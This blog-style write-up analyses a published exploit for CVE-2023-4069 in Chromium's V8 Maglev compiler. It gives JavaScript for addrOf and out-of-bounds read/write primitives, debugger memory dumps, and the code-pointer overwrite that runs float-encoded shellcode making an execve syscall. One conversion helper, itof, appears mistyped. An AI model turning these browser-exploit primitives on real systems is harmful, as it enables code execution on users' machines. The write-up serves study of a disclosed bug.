Analyzing exploit of CVE-2023-4069 | A vulnerability in chromium v8 engine
The post analyses the exploit of CVE-2023-4069, a vulnerability arising due to certain optimizations in maglev JIT compiler of chromium. All the primitives are explained in detail that allow us to execute arbitray code.
This blog contains detailed analysis of the exploit of CVE-2023-4069 provided by man yue mo of github security lab. The vulnerability analysis has been skipped because it is already well explained in the Getting RCE in Chrome with incomplete object initialization in the Maglev compiler. Being new to browser exploitation, I had trouble understanding the exploit so I decided to make a writeup to organize my thoughts as well as be of help to others.
Analysing Exploit of CVE-2023-4069
Exploit Strategy
The exploit can be found here.
The vulnerability gives us OOB read/write. We do following steps to get code execution:
Utility Functions and Code
1
2
3
4
var oobDblArr = [0x41, 0x42, 0x51, 0x52, 1.5];
var oobDblArr2 = [0x41, 0x42, 1.5];
var oobObjArr = [view, 0x424242];
oobObjArr[0] = 0x414141;
We place arrays in memory according to exploit strategy.
We get the following addresses:
1
2
3
4
5
6
0x02030019bfd5 <JSFunction func (sfi = 0x02030019b2e5)>
0x020300042139 <JSArray[524686]> // corruptedArr
0x020300042191 <JSArray[0]> // corruptedArr
0x0203000421d1 <JSArray[5]> // oobDblArr
0x020300042239 <JSArray[3]> // oobDblArr2
0x020300042281 <JSArray[2]> // oobObjArr
Note: Ignore the upper 32-bits of all the outputs I have shown. They change in every execution but the lower 32-bits offsets are always the same.
1
2
3
4
5
6
7
8
9
10
11
function searchDblArrIndex(startAddr, corruptedArr, marker1, marker2, limit) {
var startIndex = getOffset(startAddr);
var end = getOffset(limit);
var addr = startAddr;
for (let idx = startIndex; idx < end; idx += 1) {
if (corruptedArr[idx] == 0x40504000/2 && corruptedArr[idx + 2] == 0x40508000/2) {
return idx - 3;
}
addr += 4;
}
}
The function gets offsets from the startAddr and traverses the corruptedArr to find the address of other arrays present in the memory. The 0x40504000 is the 64-bit floating point representation for 0x41 and 0x40508000 is for 0x42. corruptedArr has OOB read access with a very large length. As the arrays are stored contiguously, so they can be accessed by simply walking the memory.
1
2
3
4
5
6
7
8
9
function searchObjArrIndex(startAddr, corruptedArr, limit) {
var startIndex = getOffset(startAddr);
var end = getOffset(limit);
for (let idx = startIndex; idx < end; idx += 1) {
if (corruptedArr[idx] == 0x414141 && corruptedArr[idx + 1] == 0x424242) {
return idx - 2;
}
}
}
The above function is almost the same as searchDblArrIndex and helps us find the address of OobObjArr.
1
2
3
4
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Uint32Array(view);
var bigIntView = new BigInt64Array(view);
We make the following arrays. dblArr, intView and bigIntView all are given an ArrayBuffer. These are made to access data on the memory in different types like in 32-bit or 64-bit.
1
2
3
4
function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}
Places the value on dblArr[0]. This adds 8-bytes to the 24-bytes long ArrayBuffer. The return statement gives lower 32-bits in intView[0] and upper 32-bits in intView[1]. As all 3 arrays are pointing to the same memory so if we store something in dblArr it can be accessed by intView and bigIntView.
1
2
3
4
5
function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}
Places 2 32-bit values on ArrayBuffer and accesses them as a 64-bit value through dblArr[0]. As dblArr is 64-bit it will access 64-bits at once and return them.
1
2
3
4
5
6
7
8
9
function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}
function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}
The first function takes the integer and converts it to 64-bit and then to a float point number. The second function takes float and converts it to a 64-bit integer.
1
2
3
4
5
function addrOf(obj, dblOffset) {
oobObjArr[0] = obj;
var addrDbl = oobDblArr[dblOffset];
return ftoi32(addrDbl)[0];
}
dblOffset is offset of OobDblArr from either OobObjArr or OobDblArr2. The object whose address we want to find is placed at oobObjArr[0]. Then we use OOB read from oobDblArr to read the address of object from OobObjArr. We just need the 32-bit offset that is always same so we use ftoi32().
1
2
3
4
5
6
7
function read(addr, dblArrOffset) {
var oldValue = oobDblArr[dblArrOffset];
oobDblArr[dblArrOffset] = i32tof(addr, 2);
var out = ftoi32(oobDblArr2[0]);
oobDblArr[dblArrOffset] = oldValue;
return out;
}
dblArrOffset is offset of OobDblArr from either OobObjArr or OobDblArr2. Old value is saved. We overwrite the elements member of OobDblArr2 with the addr. Now oobDblArr2[0] will access the value at addr + 0x8 beacause the values are stored in elements after map (32-bit) and length (32-bit). We convert the float to 32-bit integer, replace the old value and return the address read at addr + 0x8.
1
2
3
4
5
6
7
function write(addr, val1, val2, dblArrOffset) {
var oldValue = oobDblArr[dblArrOffset];
oobDblArr[dblArrOffset] = i32tof(addr, 2);
oobDblArr2[0] = i32tof(val1, val2);
oobDblArr[dblArrOffset] = oldValue;
return;
}
dblArrOffset is offset of OobDblArr from either OobObjArr or OobDblArr2. Old value is saved. We overwrite the elements member of OobDblArr2 with the addr. Now, we store the address at oobDblArr2[0] which is addr + 0x8.
Breaking down the Exploit
1
var dblIndex = searchDblArrIndex(arrAddr, corruptedArr, 0x40504000/2, 0x40508000/2, arrAddr + 0x1000);
We have large OOB read from corruptedArr. We try to find address of oobDblArr’s element object. We do this by starting our search from an address (can be see through DebugPrint(oobDblArr). This gives idea of where to start). We find the offset of that address from corruptedArr. We search the memory for numbers stored in oobDblArr. One thing to note is that oobDblArr is array of type double because it has a double precision number (1.5) in it. 0x41 is represented as 0x0000000040504000 and 0x42 is 0x0000000040508000. If we do DebugPrint(corruptedArr), we see that corruptedArr is SMI type array. Each index in oobDblArr jumps 8-bytes and for corruptedArr it jumps 4-bytes. We run the loop and find the numbers but these numbers also appear before the oobDblArr. So, we need to run the loop again to find numbers at correct address.
As we can see oobDblArr is at address 0x020300042191, so we start our search from a little before that address, say 0x42191.
1
2
3
4
5
6
7
pwndbg> x/50wx 0x020300042191-1
0x20300042190: 0x0018e4c1 0x00000219 0x00000219 0x00182271
0x203000421a0: 0x00000901 0x0000000a 0x00000000 (0x40504000) // we need next one, not this
0x203000421b0: 0x00000000 0x40508000 0x00000000 0x40544000
0x203000421c0: 0x00000000 0x40548000 0x00000000 0x3ff80000
0x203000421d0: 0x0018ece5 0x00000219 0x000421e9 0x0000000a
0x203000421e0: 0x0000117d 0x00207c81 0x00000901 0x0000000a
1
corruptedArr[dblIndex + 3] = 1;
We write 1 to dblIndex + 3 because our first find of DblArrIndex is bogus and we patch it so we don’t find it again in the search.
1
2
3
4
5
6
7
8
pwndbg> x/50wx 0x1ca000042191-1
0x1ca000042190: 0x0018e4c1 0x00000219 0x00000219 0x00182271
0x1ca0000421a0: 0x00000901 0x0000000a 0x00000000 (0x00000002) replace by 2.
0x1ca0000421b0: 0x00000000 0x40508000 0x00000000 0x40544000
0x1ca0000421c0: 0x00000000 0x40548000 0x00000000 0x3ff80000
0x1ca0000421d0: 0x0018ece5 0x00000219 0x000421e9 0x0000000a
0x1ca0000421e0: 0x0000117d 0x00207c81 0x00000901 0x0000000a
...
Note: The memory has 2 because SMIs have LSB as 0. So, to make sure LSB is 0, SMIs are doubled before storing in memory and halved when accessed from memory.
1
2
3
4
5
let dblAddr = indexToAddr(dblIndex);
dblIndex = searchDblArrIndex(dblAddr, corruptedArr, 0x40504000/2, 0x40508000/2, dblAddr + 0x1000);
console.log("oobDblAddr: " + indexToAddr(dblIndex).toString(16));
var oobDblIndex = dblIndex;
corruptedArr[dblIndex + 3] = 0x41;
We get the offset inside corruptedArr to the first found pattern and then start our search from there again. This time we find the original address of pattern that we intended to find. Again we patch the pattern to stop finding the same pattern again and again.
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/50wx 0x288100042191-1
0x288100042190: 0x0018e4c1 0x00000219 0x00000219 0x00182271
0x2881000421a0: 0x00000901 0x0000000a 0x00000000 0x00000002
0x2881000421b0: 0x00000000 0x40508000 0x00000000 0x40544000
0x2881000421c0: 0x00000000 0x40548000 0x00000000 0x3ff80000
0x2881000421d0: 0x0018ece5 0x00000219 0x000421e9 0x0000000a
0x2881000421e0: 0x0000117d 0x00207c81 0x00000901 0x0000000a
0x2881000421f0: 0x00000000 (0x00000082) 0x00000000 0x40508000
0x288100042200: 0x00000000 0x40544000 0x00000000 0x40548000
0x288100042210: 0x00000000 0x3ff80000 0x00000901 0x00000006
...
Second pattern patched with 0x41 (0x82 in memory).
1
2
if (dblIndex == null || oobDblArr[0] == 0x41) {
console.log("cannot find dblIndex");
Then we check if we found the pattern or not. oobDblArr[0] is at address 0x2881000421f0 and it is not 0x41.
1
2
3
else {
corruptedArr[dblIndex - 3] = 0x100;
console.log("oobDblArr new length: " + oobDblArr.length);
corruptedArr[dblIndex] points to elements member of oobDblArr. If we go back 3 double words (Addresses are 32-bit in v8) we get length member of array. We change that to 256 to get OOB read and write.
1
2
3
4
5
6
7
8
9
pwndbg> x/50wx 0x05d300042191-1
0x5d300042190: 0x0018e4c1 0x00000219 0x00000219 0x00182271
0x5d3000421a0: 0x00000901 0x0000000a 0x00000000 0x00000002
0x5d3000421b0: 0x00000000 0x40508000 0x00000000 0x40544000
0x5d3000421c0: 0x00000000 0x40548000 0x00000000 0x3ff80000
0x5d3000421d0: 0x0018ece5 0x00000219 0x000421e9 (0x00000200) from 0xa to 0x200
0x5d3000421e0: 0x0000117d 0x00207c81 0x00000901 0x0000000a
0x5d3000421f0: 0x00000000 0x00000082 0x00000000 0x40508000
...
1
2
3
4
5
6
dblIndex = searchDblArrIndex(dblAddr, corruptedArr, 0x40504000/2, 0x40508000/2, dblAddr + 0x100);
dblAddr = indexToAddr(dblIndex + 10);
dblIndex = searchDblArrIndex(dblAddr, corruptedArr, 0x40504000/2, 0x40508000/2, dblAddr + 0x100);
console.log("oobDblAddr2: " + indexToAddr(dblIndex).toString(16));
var oobDbl2Index = dblIndex;
Now we search for oobDblAddr2's element object member’s address. Same as before, on first try we match the pattern but it is not in obDblAddr2, so we try again and get the correct address.
1
2
3
4
5
6
7
8
9
10
pwndbg> x/50wx 0x058f000421d1-1
0x58f000421d0: 0x0018ece5 0x00000219 0x000421e9 0x00000200
0x58f000421e0: 0x0000117d 0x00207c81 0x00000901 0x0000000a
0x58f000421f0: 0x00000000 0x00000082 0x00000000 0x40508000
0x58f00042200: 0x00000000 0x40544000 0x00000000 0x40548000
0x58f00042210: 0x00000000 0x3ff80000 0x00000901 0x00000006
0x58f00042220: 0x00000000 (0x40504000)-> 1 0x00000000 0x40508000
0x58f00042230: 0x00000000 0x3ff80000 0x0018ece5 0x00000219
0x58f00042240: 0x00042251 0x00000006 0x0000117d 0x00207cad
...
We find a pattern that is not inside OobDblArr2. We search again this time starting from dblIndex + 0x10 which translates to 0x58f00042259.
1
2
3
let objIndex = searchObjArrIndex(dblAddr, corruptedArr, dblAddr + 0x100);
console.log(objIndex.toString(16));
console.log("oobObjAddr: " + indexToAddr(objIndex).toString(16));
Next we find the address of oobObjAddr’s element address. We will place any object in this array and read it’s address through OOB read in oobDblAddr.
1
2
3
4
5
6
7
pwndbg> x/50wx 0x2f5500042281-1
0x2f5500042280: 0x0018ed65 0x00000219 0x00042299 0x00000004
0x2f5500042290: 0x0000117d 0x00207cd9 0x00000089 0x00000004
0x2f55000422a0: (0x00828282 0x00848484) 0x00000591 0x00000003
0x2f55000422b0: 0x00000005 0x65313234 0x00000039 0x000005e1
0x2f55000422c0: 0x00000003 0x00000011 0x000422d1 0x00000e01
...
We can see in the marked memory that 0x414141 and 0x424242 are present (doubled, ofcourse).
1
2
var funcAddr = addrOf(func, (objIndex - oobDblIndex) >> 1);
console.log("func Addr: " + funcAddr.toString(16));
Now, we find the address of func function that has our floating point encoded shellcode. We use (objIndex - oobDblIndex) >> 1. As we have OOB read in oobDblArr of size 256, we calculate distance between oobDblArrand oobObjArr, place address of func in oobObjArr[0] and use OOB in oobDblArr to read address of func which is: oobObjArr[0].
1
2
3
4
5
6
7
pwndbg> x/80wx 0x3e8000042281-1
0x3e8000042280: 0x0018ed65 0x00000219 0x00042299 0x00000004
0x3e8000042290: 0x0000117d 0x00207d05 0x00000089 0x00000004
0x3e80000422a0: (0x0019bfd5) 0x00848484 0x00000591 0x00000003
0x3e80000422b0: 0x00000005 0x65313234 0x00000039 0x000005e1
0x3e80000422c0: 0x00000003 0x00000011 0x000422d1 0x00000e01
...
oobObjArr[0] is placed after the 2 doublewords of address of elements with first part of elements being maps and second length. We can see at address 0x3e80000422a0 the oobObjArr[0] has address of func. After this we can read address from oobDblArr[(objIndex - oobDblIndex) >> 1] as we have OOB read.
We are dividing by 2 because each element in OobDblArr is 8 bytes as opposed to 4 byte values in corruptedArr so each index would jump twice the memory.
1
2
3
var dblOffset = (oobDbl2Index - oobDblIndex - 5) >> 1;
var codeAddr = read(funcAddr + 0x10, dblOffset)[0];
console.log("code Addr: " + codeAddr.toString(16));
Next, we try to leak the address of code member of func function. We give funcAddr + 0x10 because the address of code is present at <add of func> + 0x18. When we read OobDblArr2[0] it accesses first element at address <addr of elements OobDblArr2> + 0x8. So, we access value at funcAddr + 0x18.
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/50wx 0x0e72000421d1-1
0xe72000421d0: 0x0018ece5 0x00000219 0x000421e9 0x00000200
0xe72000421e0: 0x0000117d 0x00207cc5 0x00000901 0x0000000a
0xe72000421f0: 0x00000000 0x00000082 0x00000000 0x40508000
0xe7200042200: 0x00000000 0x40544000 0x00000000 0x40548000
0xe7200042210: 0x00000000 0x3ff80000 0x00000901 0x00000006
0xe7200042220: 0x00000000 0x40504000 0x00000000 0x40508000
0xe7200042230: 0x00000000 0x3ff80000 0x0018ece5 0x00000219
0xe7200042240: (0x0019bfe5 0x00000002) 0x0000117d 0x00207cf1
0xe7200042250: 0x00000901 0x00000006 0x00000000 0x40504000
0xe7200042260: 0x00000000 0x40508000 0x00000000 0x3ff80000
...
We can see at address 0xe7200042240 the address of func has been placed. This address is the address of elements of OobDblArr2.
1
2
3
4
5
6
7
pwndbg> x/50wx 0x344b0019bfd5-1
0x344b0019bfd4: 0x00184359 0x00000219 0x00000219 0x0019b2e5
0x344b0019bfe4: 0x0019be51 0x0019bde5 (0x001a0921) 0x0000026d
0x344b0019bff4: 0x00000ac1 0x0019ae2d 0x0000b8a0 0x0019bfd5
0x344b0019c004: 0x00000229 0x00000ac1 0x00002bb9 0x0000baa0
0x344b0019c014: 0x0018e42d 0x00207655 0x00184359 0x00000219
0x344b0019c024: 0x00000219 0x0019b319 0x0019be51 0x0019bdf1
We can see that at funcAddr + 0x18 there is code address.
1
2
var maglevAddr = read(codeAddr + 0x8, dblOffset);
console.log("maglev Addr: " + maglevAddr[0].toString(16) + " " + maglevAddr[1].toString(16));
Next, we try to leak the address of JIT compiled code of code. We give codeAddr + 0x8 because the address of this code is present at <add of code> + 0x10. When we read OobDblArr2[0] it accesses first element at address <addr of elements OobDblArr2> + 0x8. So, we access value at codeAddr + 0x10.
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/50wx 0x3371000421d1-1
0x3371000421d0: 0x0018ece5 0x00000219 0x000421e9 0x00000200
0x3371000421e0: 0x0000117d 0x00207cad 0x00000901 0x0000000a
0x3371000421f0: 0x00000000 0x00000082 0x00000000 0x40508000
0x337100042200: 0x00000000 0x40544000 0x00000000 0x40548000
0x337100042210: 0x00000000 0x3ff80000 0x00000901 0x00000006
0x337100042220: 0x00000000 0x40504000 0x00000000 0x40508000
0x337100042230: 0x00000000 0x3ff80000 0x0018ece5 0x00000219
0x337100042240: (0x001a0921) 0x00000002 0x0000117d 0x00207cd9
0x337100042250: 0x00000901 0x00000006 0x00000000 0x40504000
0x337100042260: 0x00000000 0x40508000 0x00000000 0x3ff80000
...
We can see the address of code above. From there through OobDblArr2[0], we access codeAddr + 0x10 to get Maglev address.
1
2
3
4
5
6
pwndbg> x/20wx 0x344b001a0921-1
0x344b001a0920: 0x00000d91 0x001a0889 0x00000f61 0x606cda31
0x344b001a0930: (0x606cda40 0x00005557) 0x000000ac 0x000002e8
0x344b001a0940: 0x00000028 0x00000000 0xffffffff 0x00000028
0x344b001a0950: 0x00000028 0x00000028 0x0000ffff 0x000009a1
0x344b001a0960: 0x0000b270 0x00000000 0xc84003ff 0x0018e705
We can see at codeAddr + 0x10, 0x5557606cda40 is the address of maglev code
1
2
write(codeAddr + 0x8, maglevAddr[0] + 0x80 + 2, maglevAddr[1], dblOffset);
func();
Next, we write the 64-bit maglev address (it is address of glibc heap) to codeAddr + 0x10 which is the address of JIT compiled code for our func. We do maglevAddr[0] + 0x80 because that is where our func code containing floating point encoded shellcode resides.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pwndbg> x/100i 0x5557606cda40
0x5557606cda40: mov ebx,DWORD PTR [rcx-0xc]
0x5557606cda43: add rbx,r14
0x5557606cda46: test DWORD PTR [rbx+0x17],0x20000000
0x5557606cda4d: jne 0x5557006dff40 <Builtins_CompileLazyDeoptimizedCode>
0x5557606cda53: movabs r9,0x344b0019c3a9
0x5557606cda5d: movzx ecx,WORD PTR [r9+0xd]
0x5557606cda62: test cl,0x2e
0x5557606cda65: jne 0x5557606cdb95
0x5557606cda6b: push rbp
0x5557606cda6c: mov rbp,rsp
0x5557606cda6f: push rsi
...
...
0x5557606cdac0: movabs r10,0xceb580068732f68
0x5557606cdaca: vmovq xmm0,r10
0x5557606cdacf: vmovsd QWORD PTR [rdi+0x7],xmm0
0x5557606cdad4: movabs r10,0xceb5a6e69622f68
0x5557606cdade: vmovq xmm0,r10
0x5557606cdae3: vmovsd QWORD PTR [rdi+0xf],xmm0
0x5557606cdae8: movabs r10,0xcebf63120e0c148
0x5557606cdaf2: vmovq xmm0,r10
0x5557606cdaf7: vmovsd QWORD PTR [rdi+0x17],xmm0
0x5557606cdafc: movabs r10,0xceb50d231d00148
0x5557606cdb06: vmovq xmm0,r10
0x5557606cdb0b: vmovsd QWORD PTR [rdi+0x1f],xmm0
0x5557606cdb10: movabs r10,0x50f583b6ae78948
0x5557606cdb1a: vmovq xmm0,r10
0x5557606cdb1f: vmovsd QWORD PTR [rdi+0x27],xmm0
0x5557606cdb24: lea rcx,[rdi+0x30]
We can see in later part of assembly that our floating point numbers returned by func are being transferred to xmm0 register. If we do 5557606cdac0 - 5557606cda40 we get 0x80 offset. We do +2 because the opcode is 10 bytes long and we skip the opcode (2-bytes) for movabs rdi and go to 8-byte floating point number that when converted to binary and interpreted as code serves as the shellcode.
1
2
3
4
5
pwndbg> x/10i 0x5557606cdb10+0x2
0x5557606cdb12: mov rdi,rsp
0x5557606cdb15: push 0x3b
0x5557606cdb17: pop rax
0x5557606cdb18: syscall
As we can see above we are doing execve syscall (code 59).
